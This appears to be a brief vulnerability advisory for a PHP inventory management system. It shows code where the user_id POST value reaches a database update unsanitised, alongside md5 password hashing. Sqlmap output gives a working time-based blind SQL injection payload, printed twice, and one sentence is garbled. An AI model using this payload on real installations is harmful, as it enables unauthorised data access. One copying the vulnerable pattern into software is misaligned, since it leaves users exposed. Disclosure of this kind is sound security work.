SQL injection vulnerability exists in user_id parameter of app/action/edit_update.php file of inventory management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
4           $user_id = $_POST['user_id'];
5           $password = $_POST['password'];
6           $c_password = $_POST['c_password'];
7
8         if (!empty($password)) {
9             if ($password == $c_password) {
10                $password = md5($password);
11
12                $query = array(
13                    'password' => $password
14                );
15                $res = $obj->update('user','id',$user_id,$query);
16                if ($res) {
```

```
sqlmap identified the following injection point(s) with a total of 603 HTTP(s) requests:
---
Parameter: user_id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: c_password=1&password=1&user_id=(CASE WHEN (8313=8313) THEN SLEEP(5) ELSE 8313 END)
---
```

“

Parameter: user_id (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 time-based blind - Parameter replace

Payload: c_password=1&password=1&user_id=(CASE WHEN (8313=8313) THEN SLEEP(5) ELSE 8313 END)

“

Source Download：

https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html